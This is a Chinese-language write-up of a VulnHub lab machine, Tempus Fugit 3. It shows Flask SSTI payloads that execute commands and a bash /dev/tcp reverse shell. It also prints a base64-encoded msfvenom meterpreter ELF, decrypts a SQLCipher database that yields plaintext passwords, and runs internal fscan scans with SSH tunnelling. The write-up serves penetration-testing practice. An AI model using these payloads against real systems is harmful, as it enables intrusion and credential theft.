从SSTI模板注入到docker容器内网渗透:靶机练习之Tempus_fugit3
靶机提示
sstisqlite文件破解内网渗透容器
靶机下载
https://download.vulnhub.com/tempusfugit/Tempus-Fugit-3.ova信息搜集
nmap -sT --min-rate 10000 -p- 192.168.8.250很简单的信息,只有一个web页面
SSTI模板注入漏洞
无意中发现404似乎都是有个统一的拦截页面
{{2*2}}}直接注入payload,果然存在ssti漏洞
先查看配置,定位服务端模板版本
{{config}}根据特征推断服务端是flask
同时base64解码拿到第一个flag
flask ssti注入payload
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}成功回显
反弹shell
{{ request.application.__globals__.__builtins__.__import__('os').popen('bash -c "/bin/bash -i >& /dev/tcp/192.168.8.251/4444 0>&1"').read() }}sqlite 数据窃取
app.py文件中发现了第一个flag,以及数据库密码,
pragma key='SecretssecretsSecrets...'并且用的时sqlite数据库
SQLite 是一个嵌入式的、进程内(in-process)、无服务器、零配置、事务性的 SQL 数据库引擎,它只在本地生成一个文件
顺着app.py源码指示的路径也发现了db文件
sqlite交互
登录
sqlcipher db2.db --interactive输入密码
PRAGMA key = 'SecretssecretsSecrets...';hugh-janus|S0secretPassW0rd anita-hanjaab|ssdf%dg5xc clee-torres|asRtesa#2s RmxhZzN7IEhleSwgcmVhZGluZyBzZWNyZXRzICB9|拿到第三个flag
后台源码泄露
源码里面拿到flag2
提权
想进一步利用时发现,反弹shell是受限的
推断可能是容器shell
拿到shell后无法执行查看网络的命令,同时也没有curl/wget等命令,再联想到端口服务探测时,发现80端口只是nginx服务,猜测可能是docker容器
摆脱受限容器
生成一个不依赖任何运行时(curl/wget/python)的纯二进制后门
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.8.251 LPORT=6666 -f elf -o ex.elf将 ELF 二进制转为 Base64 文本传输
-w0禁止换行
cat ex.elf| base64 -w0在靶机生成payload
echo 'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAaCsCoCPtRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==' |base64 -d > ex.elfmsf启动监听
拿到meterpreter shell
内网渗透
先拿到内网ip
上传fscan
meterpreter > upload /root/tools/fscan进入shell
fscan -h 192.168.100.0/24发现了192.168.100.1
端口扫描
./fscan -h 192.168.100.0/24 -p 1-65535 -t 50开了34193端口和80端口
端口转发
把内网端口通过ssh隧道转发到kali
ssh -N -R 5555:192.168.100.1:80 root@192.168.8.251ps靶机环境似乎有问题,卡在这边整了很久,看了一下wp内网的192.168.100.1机器的还有个443端口,但是靶机的443似乎没有启动起来,暂时先这样。
